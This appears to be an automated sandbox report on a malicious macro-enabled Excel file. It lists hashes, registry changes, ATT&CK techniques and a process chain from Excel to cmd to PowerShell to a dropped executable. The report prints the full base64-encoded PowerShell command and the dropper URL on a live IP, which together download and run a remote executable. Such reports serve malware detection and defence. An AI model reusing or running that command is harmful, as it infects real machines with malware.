95b3882e2ba6d5f35be8c35aa3d047e41ec110eb7f8aa69af7652f1cc29a6fb7

Analysis

max time kernel
130s
max time network
121s
platform
windows7_x64
resource
win7-en-20211104
submitted
25-11-2021 16:54

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General

Target

CSOIYQRONAGPE1.xlsm
Size

102KB
MD5

cc1439b54aa4b3db324fb921b94870ef
SHA1

33a4c8af524b8e37f290000c654d897b440fd86c
SHA256

95b3882e2ba6d5f35be8c35aa3d047e41ec110eb7f8aa69af7652f1cc29a6fb7
SHA512

a9fb3881f480ca8dd86bb707b8216b596f4a848e25c797c15fb6c57b517beafe1fb2ddeb2d56321faf17e049bae4147582fd4052e7e1153962c0f7a6085fd4dc

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://18.192.215.191/team/z/CSOIYQRONAGPE1.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	108	1648	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

4 1800 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

Khlmdccppqkpdqrfhwdjw.exe

pid process

1516 Khlmdccppqkpdqrfhwdjw.exe
Deletes itself 1 IoCs

Processes:

EXCEL.EXE

pid process

1648 EXCEL.EXE
Loads dropped DLL 6 IoCs

Processes:

powershell.exeWerFault.exe

pid process

1800 powershell.exe
1944 WerFault.exe
1944 WerFault.exe
1944 WerFault.exe
1944 WerFault.exe
1944 WerFault.exe
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1944 1516 WerFault.exe Khlmdccppqkpdqrfhwdjw.exe
Office loads VBA resources, possible macro or embedded object present
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

flow	pid	process
4	1800	powershell.exe

pid	process
1516	Khlmdccppqkpdqrfhwdjw.exe

pid	process
1648	EXCEL.EXE

pid	pid_target	process	target process
1944	1516	WerFault.exe	Khlmdccppqkpdqrfhwdjw.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXE

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE

Modifies registry class 64 IoCs

Processes:

EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\ShellEx	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\htmlfile	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\ = "&Print"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	EXCEL.EXE

NTFS ADS 1 IoCs

Processes:

EXCEL.EXE

description ioc process

File created C:\Users\Admin\AppData\Local\Temp\1CF57F00\:Zone.Identifier:$DATA EXCEL.EXE
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1648 EXCEL.EXE

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Temp\1CF57F00\:Zone.Identifier:$DATA	EXCEL.EXE

pid	process
1648	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

powershell.exeKhlmdccppqkpdqrfhwdjw.exeWerFault.exe

pid	process
1800	powershell.exe
1800	powershell.exe
1800	powershell.exe
1516	Khlmdccppqkpdqrfhwdjw.exe
1944	WerFault.exe
1944	WerFault.exe
1944	WerFault.exe
1944	WerFault.exe
1944	WerFault.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

WerFault.exe

pid process

1944 WerFault.exe
Suspicious behavior: RenamesItself 1 IoCs

Processes:

EXCEL.EXE

pid process

1648 EXCEL.EXE

pid	process
1944	WerFault.exe

pid	process
1648	EXCEL.EXE

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exeKhlmdccppqkpdqrfhwdjw.exeWerFault.exe

description	pid	process
Token: SeDebugPrivilege	1800	powershell.exe
Token: SeDebugPrivilege	1516	Khlmdccppqkpdqrfhwdjw.exe
Token: SeDebugPrivilege	1944	WerFault.exe

Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

1648 EXCEL.EXE
1648 EXCEL.EXE
1648 EXCEL.EXE

pid	process
1648	EXCEL.EXE
1648	EXCEL.EXE
1648	EXCEL.EXE

Suspicious use of WriteProcessMemory 16 IoCs

Processes:

EXCEL.EXEcmd.exepowershell.exeKhlmdccppqkpdqrfhwdjw.exe

description	pid	process	target process
PID 1648 wrote to memory of 108	1648	EXCEL.EXE	cmd.exe
PID 1648 wrote to memory of 108	1648	EXCEL.EXE	cmd.exe
PID 1648 wrote to memory of 108	1648	EXCEL.EXE	cmd.exe
PID 1648 wrote to memory of 108	1648	EXCEL.EXE	cmd.exe
PID 108 wrote to memory of 1800	108	cmd.exe	powershell.exe
PID 108 wrote to memory of 1800	108	cmd.exe	powershell.exe
PID 108 wrote to memory of 1800	108	cmd.exe	powershell.exe
PID 108 wrote to memory of 1800	108	cmd.exe	powershell.exe
PID 1800 wrote to memory of 1516	1800	powershell.exe	Khlmdccppqkpdqrfhwdjw.exe
PID 1800 wrote to memory of 1516	1800	powershell.exe	Khlmdccppqkpdqrfhwdjw.exe
PID 1800 wrote to memory of 1516	1800	powershell.exe	Khlmdccppqkpdqrfhwdjw.exe
PID 1800 wrote to memory of 1516	1800	powershell.exe	Khlmdccppqkpdqrfhwdjw.exe
PID 1516 wrote to memory of 1944	1516	Khlmdccppqkpdqrfhwdjw.exe	WerFault.exe
PID 1516 wrote to memory of 1944	1516	Khlmdccppqkpdqrfhwdjw.exe	WerFault.exe
PID 1516 wrote to memory of 1944	1516	Khlmdccppqkpdqrfhwdjw.exe	WerFault.exe
PID 1516 wrote to memory of 1944	1516	Khlmdccppqkpdqrfhwdjw.exe	WerFault.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\CSOIYQRONAGPE1.xlsm
1⤵
- Deletes itself
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- NTFS ADS
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: RenamesItself
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1648

C:\Windows\SysWOW64\cmd.exe
cmd /c Vpxldboqapmd.bat
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:108

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -win 1 -enc JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBLAGgAbABtAGQAYwBjAHAAcABxAGsAcABkAHEAcgBmAGgAdwBkAGoAdwAuAGUAeABlACIAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAIgBoAHQAdABwADoALwAvADEAOAAuADEAOQAyAC4AMgAxADUALgAxADkAMQAvAHQAZQBhAG0ALwB6AC8AQwBTAE8ASQBZAFEAUgBPAE4AQQBHAFAARQAxAC4AZQB4AGUAIgAsACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAFAAcgBvAGMATgBhAG0AZQAiACkAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAKAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAJABQAHIAbwBjAE4AYQBtAGUAIgApAA==
3⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1800

C:\Users\Admin\AppData\Roaming\Khlmdccppqkpdqrfhwdjw.exe
"C:\Users\Admin\AppData\Roaming\Khlmdccppqkpdqrfhwdjw.exe"
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1516

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1516 -s 656
5⤵
- Loads dropped DLL
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:1944

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Khlmdccppqkpdqrfhwdjw.exe
MD5
a28c434e703d9d0961f526f87a61109c

SHA1
c18ce22d993ee202d7c4e91aeda8f602a1ddb054

SHA256
1a58c708f0c8b203949c9f180813f7fd6665b2f7bbf6f474b39d94e3d6638a30

SHA512
a380bd060f69d0813fa1c1141fc960225fbeb1a13195ed7349a2d0f7d3ad72e9b37df4f2f8afe45ac8b6bf4997fdc5bac69d9ec93123a1ef5e8f0871dc29e72d

Download Submit
C:\Users\Admin\AppData\Roaming\Khlmdccppqkpdqrfhwdjw.exe
MD5
a28c434e703d9d0961f526f87a61109c

SHA1
c18ce22d993ee202d7c4e91aeda8f602a1ddb054

SHA256
1a58c708f0c8b203949c9f180813f7fd6665b2f7bbf6f474b39d94e3d6638a30

SHA512
a380bd060f69d0813fa1c1141fc960225fbeb1a13195ed7349a2d0f7d3ad72e9b37df4f2f8afe45ac8b6bf4997fdc5bac69d9ec93123a1ef5e8f0871dc29e72d

Download Submit
C:\Users\Admin\Documents\Vpxldboqapmd.bat
MD5
eb57c3c8f7622d52e5ea78fcbcf2d9b2

SHA1
ec417981a3089cb8c72a78fbff71051fb8bd20d0

SHA256
ec93f90790e65f73486f769f4ae33aea3f099f06ae20febdffa2e91b5abb289d

SHA512
a6873254a3fc69cbd6234d3b6cdf780ece9ac498eecbcc9adef4c4274f5288dbc0bf5a89d016a8730569913b8c00edd93b390f0b46c3c1a6ba235c6f4200805f

Download Submit
\Users\Admin\AppData\Roaming\Khlmdccppqkpdqrfhwdjw.exe
MD5
a28c434e703d9d0961f526f87a61109c

SHA1
c18ce22d993ee202d7c4e91aeda8f602a1ddb054

SHA256
1a58c708f0c8b203949c9f180813f7fd6665b2f7bbf6f474b39d94e3d6638a30

SHA512
a380bd060f69d0813fa1c1141fc960225fbeb1a13195ed7349a2d0f7d3ad72e9b37df4f2f8afe45ac8b6bf4997fdc5bac69d9ec93123a1ef5e8f0871dc29e72d

Download Submit
\Users\Admin\AppData\Roaming\Khlmdccppqkpdqrfhwdjw.exe
MD5
a28c434e703d9d0961f526f87a61109c

SHA1
c18ce22d993ee202d7c4e91aeda8f602a1ddb054

SHA256
1a58c708f0c8b203949c9f180813f7fd6665b2f7bbf6f474b39d94e3d6638a30

SHA512
a380bd060f69d0813fa1c1141fc960225fbeb1a13195ed7349a2d0f7d3ad72e9b37df4f2f8afe45ac8b6bf4997fdc5bac69d9ec93123a1ef5e8f0871dc29e72d

Download Submit
\Users\Admin\AppData\Roaming\Khlmdccppqkpdqrfhwdjw.exe
MD5
a28c434e703d9d0961f526f87a61109c

SHA1
c18ce22d993ee202d7c4e91aeda8f602a1ddb054

SHA256
1a58c708f0c8b203949c9f180813f7fd6665b2f7bbf6f474b39d94e3d6638a30

SHA512
a380bd060f69d0813fa1c1141fc960225fbeb1a13195ed7349a2d0f7d3ad72e9b37df4f2f8afe45ac8b6bf4997fdc5bac69d9ec93123a1ef5e8f0871dc29e72d

Download Submit
\Users\Admin\AppData\Roaming\Khlmdccppqkpdqrfhwdjw.exe
MD5
a28c434e703d9d0961f526f87a61109c

SHA1
c18ce22d993ee202d7c4e91aeda8f602a1ddb054

SHA256
1a58c708f0c8b203949c9f180813f7fd6665b2f7bbf6f474b39d94e3d6638a30

SHA512
a380bd060f69d0813fa1c1141fc960225fbeb1a13195ed7349a2d0f7d3ad72e9b37df4f2f8afe45ac8b6bf4997fdc5bac69d9ec93123a1ef5e8f0871dc29e72d

Download Submit
\Users\Admin\AppData\Roaming\Khlmdccppqkpdqrfhwdjw.exe
MD5
a28c434e703d9d0961f526f87a61109c

SHA1
c18ce22d993ee202d7c4e91aeda8f602a1ddb054

SHA256
1a58c708f0c8b203949c9f180813f7fd6665b2f7bbf6f474b39d94e3d6638a30

SHA512
a380bd060f69d0813fa1c1141fc960225fbeb1a13195ed7349a2d0f7d3ad72e9b37df4f2f8afe45ac8b6bf4997fdc5bac69d9ec93123a1ef5e8f0871dc29e72d

Download Submit
\Users\Admin\AppData\Roaming\Khlmdccppqkpdqrfhwdjw.exe
MD5
a28c434e703d9d0961f526f87a61109c

SHA1
c18ce22d993ee202d7c4e91aeda8f602a1ddb054

SHA256
1a58c708f0c8b203949c9f180813f7fd6665b2f7bbf6f474b39d94e3d6638a30

SHA512
a380bd060f69d0813fa1c1141fc960225fbeb1a13195ed7349a2d0f7d3ad72e9b37df4f2f8afe45ac8b6bf4997fdc5bac69d9ec93123a1ef5e8f0871dc29e72d

Download Submit
memory/108-58-0x0000000000000000-mapping.dmp

Download
memory/1516-74-0x00000000007F0000-0x00000000007F1000-memory.dmp

Filesize
4KB

Download
memory/1516-72-0x0000000000A00000-0x0000000000A27000-memory.dmp

Filesize
156KB

Download
memory/1516-66-0x0000000000000000-mapping.dmp

Download
memory/1516-73-0x00000000009A0000-0x00000000009BB000-memory.dmp

Filesize
108KB

Download
memory/1516-69-0x0000000000880000-0x0000000000881000-memory.dmp

Filesize
4KB

Download
